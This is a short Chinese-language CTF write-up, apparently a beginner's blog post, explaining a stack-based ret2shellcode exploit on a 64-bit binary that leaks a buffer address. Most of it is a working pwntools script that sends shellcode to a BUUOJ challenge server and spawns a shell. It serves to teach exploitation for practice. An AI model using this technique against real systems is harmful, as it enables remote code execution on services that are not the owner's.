ret2shellcode的题,大致为bss段上的和栈上的shellcode
举一个例题
用64ida打开发现如下情况,他输出了v4的地址,然后shift+F12没有发现什么后面函数和bin/sh字样,所以我们可以考虑用栈上的ret2shellcode来写
思路:
生成64位的shellcode,接收v4的地址,利用ljust覆盖填充,返回v4的地址
脚本:
from pwn import *
context(os='linux', arch='amd64')
r = remote('node5.buuoj.cn',28468)
shellcode=asm(shellcraft.amd64.sh())
padding = 0x60 + 8
v4_addr = r.recvline()#这里接受的是第一个puts的
v4_addr = int(r.recvline()[33:-1],16)#这里接受的是printf里的,并且进行了切片操作,使得位v4地址并且转换为10进制
payload = shellcode.ljust(padding,b'a') + p64(v4_addr)#填充数据
r.sendline(payload)
r.interactive()
脚本并不是唯一的,本人也刚开始接触,如果有疑问或者更好的方法记得留言讨论